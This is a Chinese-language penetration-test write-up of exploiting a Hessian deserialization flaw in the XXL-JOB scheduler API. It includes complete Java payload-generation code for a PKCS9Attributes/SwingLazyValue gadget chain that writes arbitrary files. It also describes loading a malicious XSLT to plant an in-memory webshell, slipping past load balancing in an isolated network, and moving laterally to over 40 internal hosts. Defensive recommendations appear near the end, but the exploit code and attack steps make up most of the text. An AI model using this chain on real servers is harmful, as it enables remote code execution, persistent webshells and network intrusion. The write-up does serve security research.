【Web实战】 记一次曲折的XXL-JOB API Hessian反序列化到Getshell
字数 1500 2025-08-10 08:28:37
XXL-JOB API Hessian反序列化漏洞利用与内存马注入技术分析
前言
本文详细分析XXL-JOB API Hessian反序列化漏洞的利用过程,从漏洞发现到最终实现Getshell的全流程,特别关注在不出网环境下的渗透技巧。文章将涵盖Hessian反序列化利用、多种Gadget链构造、XSLT内存马注入以及内网渗透技术。
一、漏洞背景
XXL-JOB是一个分布式任务调度平台,其API接口使用Hessian协议进行通信。Hessian是一种基于二进制的RPC协议,由于Java反序列化机制的安全问题,不当的反序列化操作可能导致远程代码执行。
二、漏洞发现与验证
- 目标识别:发现XXL-JOB的API接口使用Hessian协议
- 协议分析:确认接口接受Hessian序列化数据
- 反序列化测试:发送测试payload验证反序列化漏洞存在
三、漏洞利用链构造
1. 核心Gadget链分析
利用PKCS9Attributes和SwingLazyValue构造文件写入链:
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID,
new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils",
"writeBytesToFilename",
new Object[]{"/tmp/1.xslt", SerializeUtils.getFileBytes("E:\\payload.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
关键点:
- 使用
PKCS9Attributes作为入口点 - 通过
SwingLazyValue触发静态方法调用 - 利用
JavaUtils.writeBytesToFilename实现任意文件写入
2. 替代Gadget选项
MimeTypeParameterList可替代PKCS9Attributes- 其他可触发静态方法执行的类可替代
SwingLazyValue
四、内存马注入技术
1. XSLT内存马
利用XSLT处理器加载恶意样式表实现内存马注入:
- 首先写入恶意XSLT文件到目标服务器
- 构造第二个反序列化payload触发XSLT加载
2. 内存马类型选择
- 冰蝎/哥斯拉内存马:适用于常规环境
- Suo5内存马:适用于不出网环境,提供正向代理功能
五、不出网环境渗透技巧
1. 网络限制分析
目标环境特征:
- Nginx反向代理和负载均衡
- ICMP/DNS/TCP均不出网
- 请求分发到多个内网节点
典型Nginx配置:
upstream xxl-job{
server xxx.xxxx.xxx.xxx2:xxx
server xxx.xxx.xxx.xxx1:xxx
}
2. 解决方案
- Suo5内存马:尝试建立正向代理
- 问题:负载均衡导致半双工连接,请求不完整
- 虚拟终端:使用冰蝎的虚拟终端获取完整TTY
- 绕过代理限制直接与目标交互
六、完整利用流程
-
第一阶段:文件写入
- 构造Hessian序列化payload写入恶意XSLT文件
- 关键方法:
JavaUtils.writeBytesToFilename
-
第二阶段:内存马注入
- 构造第二个payload触发XSLT加载
- 建立Webshell连接
-
内网横向移动
- 通过内存马进行内网探测
- 使用虚拟终端进行后续渗透
- 最终控制40+内网主机
七、防御建议
- 输入验证:严格校验Hessian输入数据
- 反序列化防护:
- 使用白名单限制可反序列化的类
- 升级Hessian库到安全版本
- 网络隔离:
- 限制API接口的访问权限
- 实施网络分区和微隔离
- 运行时防护:
- 部署RASP解决方案
- 监控异常类加载和文件操作
八、技术要点总结
- Hessian反序列化利用:关键在于找到合适的Gadget链
- 文件写入技巧:利用JDK内部类实现无额外依赖的文件操作
- 内存马选择:根据网络环境选择合适的内存马类型
- 不出网渗透:正向代理与虚拟终端的组合使用
- 负载均衡挑战:识别和绕过负载均衡导致的连接问题
附录:关键代码实现
文件写入Payload生成
public class HessianProxyLVFileWrite {
public static void main(String[] args) throws Exception {
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID,
new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils",
"writeBytesToFilename",
new Object[]{"/tmp/1.xslt", SerializeUtils.getFileBytes("E:\\payload.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("poc.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67); // Hessian协议头
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
}
序列化工具类关键方法
public class SerializeUtils {
// 通过反射创建对象而不调用构造函数
public static <T> T createWithoutConstructor(Class<T> classToCreate) throws Exception {
Constructor<?> constructor = Unsafe.class.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Unsafe unsafe = (Unsafe) constructor.newInstance();
return (T) unsafe.allocateInstance(classToCreate);
}
// 设置对象字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 读取文件内容为字节数组
public static byte[] getFileBytes(String filename) throws IOException {
File file = new File(filename);
byte[] bytes = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(bytes);
fis.close();
return bytes;
}
}
通过以上技术分析和实现细节,安全研究人员可以深入理解Hessian反序列化漏洞的利用方式,同时帮助开发人员构建更安全的反序列化机制。